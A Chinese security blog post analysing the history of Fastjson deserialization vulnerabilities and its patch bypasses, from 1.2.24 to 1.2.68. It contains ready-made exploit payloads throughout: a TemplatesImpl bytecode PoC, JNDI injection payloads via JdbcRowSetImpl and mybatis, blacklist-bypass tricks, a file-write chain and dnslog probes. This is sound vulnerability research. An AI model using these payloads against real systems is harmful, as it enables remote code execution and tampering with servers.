Fastjson 反序列化历史漏洞分析
2021-09-08   # JAVA安全

前言

Fastjson 阿里开发的一个 Java 库,可用于将 Java 对象转换为其 JSON 格式、 JSON 字符串转换为等效的 Java 对象。Fastjson 1.2.24 版本的远程代码执行漏洞开始,因为官方的各种奇葩修补方式不断被爆出新的反序列化漏洞。Fastjson 以前一直没有关注过,但是最近发现这个在项目上出现的次数有些过于频繁了,所以学习总结一下 Fastjson 反序列化漏洞。本文仅作学习记录。

https://github.com/alibaba/fastjson

Fastjson 1.2.24

17年 Fastjson 1.2.24版本被爆出存在反序列化漏洞,这个洞算是整个 Fastjson 反序列化漏洞史的开端。

FastJson 序列化对象为字符串的方法主要就是 toJSONString 方法,而反序列化还原对象的方法有三个:parseObject(String text) parse (String text)parseObject(String text, Class\ clazz)

其中 parseObject返回 JSONObjectparse 返回的是实际类型的对象。当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。

而在反序列化的过程里会自动去调用反序列化对象中的 getter、setter方法以及构造函数,这就是 Fastjson 反序列化漏洞产生的原因,具体的分析过程网上有很多就不详细写了,可以看这篇文章http://blog.topsec.com.cn/fastjson-1-2-24%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e6%b7%b1%e5%ba%a6%e5%88%86%e6%9e%90/

总结一下通过这三种方式去反序列化 json 字符串时 getter和setter的调用情况

parseObject(String text) parse (String text)parseObject(String text, Class\ clazz)

  1. parseObject(String text, Class\ clazz)

    setter

    1
    2
    3
    4
    5
    方法名长度大于4且以set开头
    非静态函数
    返回类型为void或当前类
    参数个数为1个
    方法为 public 属性

    getter

    1
    2
    3
    4
    5
    6
    7
    方法名需要长于4
    非静态方法
    以 get 字符串开头,且第四个字符需要是大写字母
    方法不能有参数
    返回值类型继承自Collection \|\| Map \|\| AtomicBoolean \|\| AtomicInteger \|\|AtomicLong
    getter 方法对应的属性只能有 getter 不能有setter方法
    方法为 public 属性
  2. parseObject(String text)

    setter

    1
    2
    3
    4
    5
    方法名长度大于4且以set开头
    非静态函数
    返回类型为void或当前类
    参数个数为1个
    public 属性

    getter

    1
    2
    3
    4
    方法名长度大于4且以get开头
    非静态函数
    方法不能有参数
    public 属性
  3. parse (String text)

    setter

    1
    2
    3
    4
    5
    方法名长度大于4且以set开头
    非静态函数
    返回类型为void或当前类
    参数个数为1个
    public 属性

    getter

    1
    2
    3
    4
    5
    6
    7
    方法名需要长于4
    非静态方法
    以 get 字符串开头,且第四个字符需要是大写字母
    方法不能有参数
    返回值类型继承自Collection \|\| Map \|\| AtomicBoolean \|\| AtomicInteger \|\|AtomicLong
    getter 方法对应的属性只能有 getter 不能有setter方法
    方法为 public 属性

所以只要找到某个类的 setter 方法和 getter 方法或者是构造函数中存在恶意调用的代码,就算是一条成功的利用链。

TemplatesImpl

研究过 TemplatesImpl 链的都知道,TemplatesImpl 链的入口有两个一个是 TemplatesImpl#newTransformer()

还有 TemplatesImpl#getOutputProperties(),其中 TemplatesImpl#getOutputProperties() 刚好就是一个getter 方法。

构造 TemplatesImpl 链

image-20210908183423893

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;

import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;

public class FastjsonTest1 {
public static void main(String[] args) throws IllegalAccessException, TransformerConfigurationException, NoSuchFieldException {


TemplatesImpl obj = new TemplatesImpl();

Field field = null;
Class<?> clazz = obj.getClass();
field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(obj, "HelloTemplatesImpl");

field = clazz.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(obj,new TransformerFactoryImpl());
byte[] code = Base64.decode
("yv66vgAAADMAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAD0vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yDAAfACABABxieXRlY29kZXMvSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAANAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEAALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAATAAQAFAANABUACwAAAAQAAQAQAAEAEQAAAAIAEg==");

field = clazz.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(obj,new byte[][] {code});

obj.getOutputProperties();

}
}

把他转换成 fastjson 格式,可以看到构造的时候 TemplatesImpl 对象关键的三个属性 _bytecodes_name_tfactory

_bytecodes 为加载的字节码,私有属性但是有setter 方法,所以直接指定赋值就行。

_name 同样也是私有属性,也存在 setter 方法。

至于这个属性的作用,在 getTransletInstance() 函数里会检测_name是否为空,为空的话直接 return null ,所以我们得给_name随便赋个值。

image-20210909101621807

_tfactory 属性是私有属性而且无 setter 方法,_tfactory类型为 TransformerFactoryImpl 类对象,有很多地方会调用 _tfactory 的某些方法,所以为空的话会导致报错退出。因为是私有属性而且无 setter 方法所以我们没办法直接给其赋值。

这里有个小技巧,fastjson 在反序列化时会判断其是否存在无参构造函数,如果存在的话会直接去调用 setter 方法给属性赋值,而没有 setter 方法的属性如果开启了Feature.SupportNonPublicField的话也会通过反射去给属性赋值。

判断 Feature.SupportNonPublicField 是否开启

com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.class

image-20210910152718302

这部分代码在 com.alibaba.fastjson.util.FieldInfo

image-20210909111553342

可以看到通过反射赋值时是支持给私有属性赋值的。

关于无参构造函数和有参构造函数的调用逻辑在/com/alibaba/fastjson/util/JavaBeanInfo.class121行 获取默认构造函数也就是无参构造函数,131 判断获取到的无参构造函数是否存在,不存在则去获取构造的构造函数,也就是有参构造函数(默认会去找参数最多的那一个构造函数),所以说当无参构造函数存在时直接就可以给所有属性赋值,包括私有属性。

image-20210910101303461

再说回_tfactory 属性虽然是私有属性,也没有 setter 方法。但是 TemplatesImpl 有无参构造函数,我们直接在 json 字符串里声明 _tfactory 他就会给他赋值。所以最终的 payload

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAD0vU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcC9Db250ZW50cy9NYWNPUy9DYWxjdWxhdG9yDAAfACABABxieXRlY29kZXMvSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAANAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEAALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAATAAQAFAANABUACwAAAAQAAQAQAAEAEQAAAAIAEg=="],"_name":"11111","_tfactory":{},"_outputProperties":{}}

这里直接给TransformerFactoryImpl类型的 _tfactory 赋了一个空值,反序列化的时候会自动 new 一个 TransformerFactoryImpl 对象给其赋值。最后记得申明一个 _outputProperties属性,因为调用的入口是getOutputProperties

至于为啥 _outputProperties属性 对应的 setter 方法是 getOutputProperties ,fastjson 在获取setter方法的时候会忽略 属性名前的 _,而且当setter 方法的第4位不是大写时,以f开头也是可以的

image-20210910103132648

image-20210910153004347

这个 payload 只有在开启了Feature.SupportNonPublicField的时候才能调用成功,有一点鸡肋。而这个 Feature.SupportNonPublicField 在 Fastjson 1.2.22 引入,所以小于 1.2.22 这个 payload 也用不了

JdbcRowSetImpl

JdbcRowSetImpl 利用链原理就是 jndi 注入,可以通过 RMI+JNDI 或者 RMI+LDAP 进行利用

触发的地方在 setAutoCommit,AutoCommit参数的 setter 方法

image-20210910165033708

在 1291 行去调用了 this.connect(),去连接我们构造的恶意 jndi 服务端,其中 URL 参数为 dataSourceName ,存在 setter 方法,所以能够直接赋值。

image-20210910165253257

构造 Payload
{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://127.0.0.1:1099/badClassName”, “autoCommit”:true}

构造恶意的 rmi 服务端

image-20210910171554438

image-20210910171424707

虽然使用 JdbcRowSetImpl 利用链去构造 payload 不用开启 Feature.SupportNonPublicField ,但是对 jdk 版本要求比较严格。

Oracle JDK 6u45、7u21 之后:

java.rmi.server.useCodebaseOnly 的默认值被设置为 true

禁用自动加载远程类文件,仅从 CLASSPATH 和当前 JVM 的 java.rmi.server.codebase 指定路径加载

RMI + JNDI References

Oracle JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 选项,默认值为 false

不允许 RMI 和 CORBA 从远程的 Codebase 加载 Reference 工厂类

LDAP + JNDI References

Oracle JDK 11.0.1、8u191、7u201、6u211之后:

设置 com.sun.jndi.ldap.object.trustURLCodebase 默认为 false

禁止 LDAP 协议使用远程 codebase

绕过 jdk 版本限制进行 jndi 注入

http://j0k3r.top/2020/08/11/java-jndi-inject/#%E5%AE%9E%E6%88%98%E6%A1%88%E4%BE%8B

Fastjson 1.2.25-1.2.41

Fastjson 1.2.25 引入了 checkAutoType 安全机制,默认关闭的情况下不能反序列化类,开启后对反序列化类进行黑名单检测。同时也提供了添加和删除黑名单类的接口,用户也可以自己添加不可反序列化的类。

checkAutoType 安全机制实现的逻辑主要在 com.alibaba.fastjson.parser.ParserConfig

image-20210913102728936

默认的黑名单为 denyList

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bsh,com.mchange,com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate,org.jboss
org.mozilla.javascript
org.python.core,org.springframework

image-20210913102238753

先检测白名单后黑名单,白名单默认是空的,检测方式其实就是判断是否以名单中的字符串开始。

image-20210913103003768

黑名单里把 java.rmi 和 org.apache.commons.collections.Transformer 还有一些常见的反序列化链用到的类都给 ban 了,所以之前的 payload 也用不了了。

未开启 AutoType 或者命中了黑名单会爆 autoType is not support.

image-20210913105248964

在黑名单检测之后 clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader); 去加载类,在TypeUtils.loadClass里为了兼容带有描述符的类名,会把类名头部的[去了还有以L 起头;结尾时也会把L; 去了。

image-20210913104926804

所以这里有个逻辑漏洞,我们给类名的头尾加上 L [ ;可以绕过黑名单检测,接着在加载类的时候又会把这些字符给去了。

前提是开启了 AutoType。

image-20210913110324366

Fastjson 1.2.25-1.2.42

Fastjson 1.2.42 版本对 Fastjson 1.2.25 逻辑漏洞绕过黑名单的问题进行了修复,并且黑名单采用了哈希加密混淆。这么久

主要修改的部分还是在 com.alibaba.fastjson.parser.ParserConfig

黑名单:

image-20210913135101698

有师傅去碰撞过这些 hash,找到了其中一些 hash 对应的类。

https://github.com/LeadroyaL/fastjson-blacklist

接着看黑名单检测的逻辑,在检测之前对类名处理了一下,其中一些参数也使用了 hash 进行混淆。但是应该就是处理 L [ ; 这些字符,去除头尾的 L [ ;

image-20210913135558350

这里只会处理一次,而在 loadclass 里是递归的去处理的,所以双写就能绕过(这修复认真的嘛

image-20210913140522595

image-20210913141035305

Fastjson 1.2.25-1.2.43

修改了 com.alibaba.fastjson.parser.ParserConfig 处理 L [ ; 的逻辑,检测类名头部如果以 L L开头,如果是则直接抛出异常。

image-20210913145956033

这里说一些为什么在加载类的时候要去忽略 L [ ; 这些字符其实是 JNI 字段描述符,类似于 php 序列化里的 O表示对象、s 表示字符串。

图来自 https://www.playpi.org/2019041301.html

image-20210913160943935

[ 则是用来表示数组的,”[I” 就表示int[],[L表示对象数组

既然只会检测LL我们还可以用 [绕过,因为[ 表示数组,所以类名里有他的话,会进行特殊处理。payload就需要重新构造一下。

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,{"dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true}

image-20210913153900351

Fastjson 1.2.25-1.2.45

在 Fastjson 1.2.44 里对 1.2.43 进行了修复直接判断类名以 [开头直接抛出异常,以;结尾抛出异常。因为在 loadclass 只有 L 开头同时;结尾时才会忽略。这样就没办法通过以前的办法绕过了。

image-20210913155515183

1.2.45 版本被爆出了一个利用黑名单之外的类可以用来 RCE ,利用的是 mybatis 库的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类。

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}

Fastjson <=1.2.47

这个漏洞是 fastjson 漏洞史上最严重的一个,可以在唯一一个在未开启 autotype 的情况下可以利用的 payload

payload

1
[{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true}]

payload 是数组形式,其中 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit","autoCommit":true} 就是之前正常的 jndi 注入的 paylaod 。

还是先来看 com.alibaba.fastjson.parser.ParserConfig checkAutoType 部分

image-20210916141906289

这里有好几个 if 用来获取类,第一个就是 autoType 开启的情况下去黑白名单检测成功之后直接返回用户指定的类,失败的话就直接抛出异常不继续往下走。

所以这里必须在 autoType 未开启的情况下,会通过 clazz = TypeUtils.getClassFromMapping(typeName); 去获取类,这里的 typeName 就是 @type 里指定的类。

image-20210916142110151

getClassFromMapping 方法其实就是从 Mappings 字典里去获取

image-20210916142646702

打个断点看看 Mappings 里有啥,Mappings 中存储着类名字符串以及对应类对象,它起到一个缓存作用。如果 @type 指定的类,在缓存 Mappings 字典里找到的话,跳过 checkAutoType 检测直接返回类对象。这里就是这个漏洞的关键,只要在 Mappings 里添加进我们需要反序列化的类,就能绕过 checkAutoType 的黑名单检测。

image-20210916142834956

我们看 payload 的第一部分,@type 为 java.lang.Class,其并不在 Mappings 里。

1
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

如果不在 Mappings 里的类就继续往下,通过 clazz = this.deserializers.findClass(typeName); 去获取。

image-20210916144104777

看 findClass 方法,这里有会在 buckets 数组里寻找,如果@type 在 buckets 存在的话就返回类

image-20210916144209162

一样的打个断点看一下 buckets 数组的内容,里边存了一些基础的类。

image-20210916144433722

java.lang.Class 也在其中,所以这里命中之后 checkAutoType 方法返回类。回到 /com/alibaba/fastjson/parser/DefaultJSONParser.class

返回的类赋值给 clazz ,接着就是对 clazz 做各种处理。

image-20210916144916552

这里一直到 365 行开始反序列化

image-20210916145107551

跟进deserializer.deserialze() 方法

com/alibaba/fastjson/serializer/MiscCodec.class

image-20210916145414035

这里 lexer.token() 为 16,直接看这部分,这里处理 json 中的 val 字段(com.sun.rowset.JdbcRowSetImpl)并赋值给 objVal

image-20210916150255815

接着在 266行的位置,又把 objVal 赋值给 strVal 。

image-20210916150405285

在 303 行的位置判断 clazz == Class.class ,这里的 clazz 就是前边传入的 clazz,也就是 java.lang.Class,所以这里自然符合条件,通过 TypeUtils.loadClass 去加载 strVal 也就是 com.sun.rowset.JdbcRowSetImpl。

image-20210916150727242

继续跟进 loadClass ,可以看到在加载的时候先判断类是否在 mappings 中,如果不存在,加载完成之后会添加进 mappings。

com/alibaba/fastjson/util/TypeUtils.class

image-20210916151202620

所以这里我们就把我们需要用到的恶意类 com.sun.rowset.JdbcRowSetImpl 添加进了 mappings,等下次反序列化进入 checkAutoType 时就可以绕过黑白名单检测。这就是 payload 第一部分 {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}的作用。

第二部分的反序列化就和之前的一样了。

fastjson <=1.2.68

fastjson 1.2.68 更新了一个新的安全机制 safeMode,在开启的情况下 checkAutoType 方法会直接抛出异常。连绕过的机会都不给了,而且在陆陆续续的版本更迭 checkAutoType 方法的代码也更新了许多但是逻辑基本没变。

image-20210916153816933

但是被爆出在开启 AutoType 和 不开启 safeMode 的情况下可以通过 expectClass 绕过 AutoType

payload

1
{"@type":"java.lang.AutoCloseable", "@type":"Evil","name":"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}

说一下漏洞比较关键的地方

在解析第二个 @type 时会调用 userType = config.checkAutoType(ref, expectClass, lexer.getFeatures());

此时 ref 为 Evil 也就是我们构造等恶意类,expectClass 为 java.lang.AutoCloseable,expectClass 称之为期望类。

image-20210916172342391

可以看到在不开启AutoType 的情况下 只要 expectClassFlag 为true 进行 loadClass。

image-20210916170918989

而 expectClassFlag 取决于 expectClass 此时 expectClass 为 java.lang.AutoCloseable

image-20210916170717185

这里满足条件赋值 expectClassFlag = true;

image-20210916172903017

接着在 1189行这里去加载类 typeName 也就是我们构造的 Evil。

image-20210916173001939

加载完成后赋值给 clazz ,最后还会判断一次 clazz 是否为 expectClass 的子类,如果是的话才会 return clazz。这也是为啥我们构造的 Evil 里需要继承 java.lang.AutoCloseable,这样是这个漏洞最大的限制。

image-20210916173333755

真正利用的时候还需要去找一个继承 java.lang.AutoCloseable 的类,利用起来还是比较困难的

写文件的 payload 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "f:/test/pwn.txt",
"tempPath": "f:/test/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "文件内容 base64 编码",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}

Dnslog 探测 Fastjson

经常有师傅在没有报错的情况下利用 dnslog 去探测 Fastjson

基本就是利用黑名单以外的类或者是 buckets 、Mappings 内的类,有些是可以无视 AutoType 的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{"@type":"java.net.InetAddress","val":"dnslog"}

{"@type":"java.net.Inet4Address","val":"dnslog"}

{"@type":"java.net.Inet6Address","val":"dnslog"}

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}

Set[{"@type":"java.net.URL","val":"http://dnslog"}]

Set[{"@type":"java.net.URL","val":"http://dnslog"}

{{"@type":"java.net.URL","val":"http://dnslog"}:0


https://github.com/alibaba/fastjson/issues/3841
最新版 1.2.76 开启safeMode
{"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}

提一嘴,我觉得其实 dnslog 探测成功并不能说 fastjson 存在反序列化漏洞最多算个 ssrf,毕竟 按照fastjson 官方的修复方式,主要还是针对那些能够写文件或者 getshell 的漏洞链。

一些突破黑名单的 Paylod

收集中。。。慢慢更新

参考

https://blog.knownsec.com/2020/07/fastjson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%B2/

https://paper.seebug.org/994/

https://paper.seebug.org/1319/#0x01-checkautotype

http://blog.topsec.com.cn/fastjson-1-2-24%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e6%b7%b1%e5%ba%a6%e5%88%86%e6%9e%90/